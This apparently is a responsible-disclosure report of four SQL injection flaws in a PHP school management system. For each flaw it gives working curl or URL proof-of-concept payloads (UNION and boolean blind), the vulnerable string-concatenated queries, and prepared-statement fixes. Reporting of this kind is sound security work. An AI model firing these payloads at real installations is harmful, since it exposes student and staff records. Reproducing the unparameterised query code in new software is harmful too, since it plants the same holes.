Multiple Critical SQL Injection Vulnerabilities

[Cinderlia]

Vulnerability 1: SQL Injection - owner_panel/fetch-data/select-students.php

Reproduction Steps
payload:

curl -X POST http://target/school-management-system/owner_panel/fetch-data/select-students.php \
  -d "select=1' UNION SELECT 1,database(),user(),version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#"

Vulnerability Root Cause
Frontend student-list.php transmits user-controlled dropdown value via AJAX POST parameter select;
select-students.php directly fetches $_POST['select'] and splices into SQL statement without any filtering or preprocessing;
The file lacks session login and role permission verification, accessible to unauthenticated visitors.

include("../../assets/config.php"); $class = $_POST['select']; if($class!=""){ $sql = "SELECT * FROM students WHERE class='" . $class . "'"; }else{ $sql = "SELECT * FROM students"; } $result = mysqli_query($conn, $sql);

Fix Suggestion

Adopt mysqli prepared statements to separate SQL logic and parameters; add unified session & owner role authentication at the top of this file.

Vulnerability 2: Boolean Blind SQL Injection - assets/editStudent.php

Reproduction Steps

True condition payload (return success):

curl -X POST http://target/school-management-system/assets/editStudent.php -d "id=S1718791292' AND '1'='1&fname=test&lname=test&father=test&class=test&section=test&gender=test&dob=2000-01-01&phone=123&email=[test@test.com](mailto:test@test.com)&address=test&city=test&zip=123&state=test&guardian=test&gphone=123&gaddress=test&gcity=test&gzip=123&relation=test" 

False condition payload (return something went wrong!):

curl -X POST http://172.28.8.100:8080/school-management-system/assets/editStudent.php -d "id=S1718791292' AND '1'='2&fname=test&lname=test&father=test&class=test&section=test&gender=test&dob=2000-01-01&phone=123&email=[test@test.com](mailto:test@test.com)&address=test&city=test&zip=123&state=test&guardian=test&gphone=123&gaddress=test&gcity=test&gzip=123&relation=test" 

Attackers can traverse all database data through boolean blind injection based on different response results.

Vulnerability Root Cause

POST parameter id is directly taken from $_POST["id"] and concatenated into existence check SQL without escaping or preprocessing:

if ($_SERVER["REQUEST_METHOD"] == "POST") { $id = $_POST["id"]; } $sql = "SELECT * FROM students WHERE id='$id'"; $result = mysqli_query($conn, $sql);

Fix Suggestion
Rewrite student ID query logic with mysqli parameter binding; add strict input format whitelist validation for student ID.

Vulnerability 3: Union SQL Injection - owner_panel/modal-student.php & modal-teacher.php

Reproduction Steps
Access the URL below, inject union payload through GET parameter id to query database metadata:

http://172.28.8.100:8080/school-management-system/owner_panel/modal-student.php?id=1%27%20UNION%20SELECT%201%2Cdatabase()%2Cuser()%2Cversion()%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%23 

Vulnerability Root Cause

The page obtains user-controllable $_GET['id'] and splices it into SQL query strings without preprocessing:

$sql="SELECT * FROM students where id = '{$_GET['id']}'"; $result=mysqli_query($conn,$sql);

Although the page has role redirect files, the parameter concatenation logic still leads to injectable flaws.

Fix Suggestion

Use prepared statements to bind GET id parameter; uniformly encapsulate database query logic to avoid direct string splicing.

Vulnerability 4: GET SQL Injection - student_panel/buslocation.php

Reproduction Steps
Send GET request with injected bus_id parameter via curl:

curl -G "http://172.28.8.100:8080/school-management-system/student_panel/buslocation.php" --data-urlencode "bus_id=1' UNION SELECT 1,database(),user(),version(),5#" 

The page output contains database user and MySQL version data, verifying injection vulnerability.

Vulnerability Root Cause
GET parameter bus_id is directly spliced into SQL for bus stop query, and the file has no session login check, accessible by anonymous users:

$sql = "SELECT * FROM bus_root WHERE bus_id='{$_GET['bus_id']}'"; $result = mysqli_query($conn, $sql);

Fix Suggestion
Implement mysqli preprocessing for bus_id query; add student session authentication to block unauthorized direct access.

If needed, I would be happy to contribute a pull request or provide further technical assistance.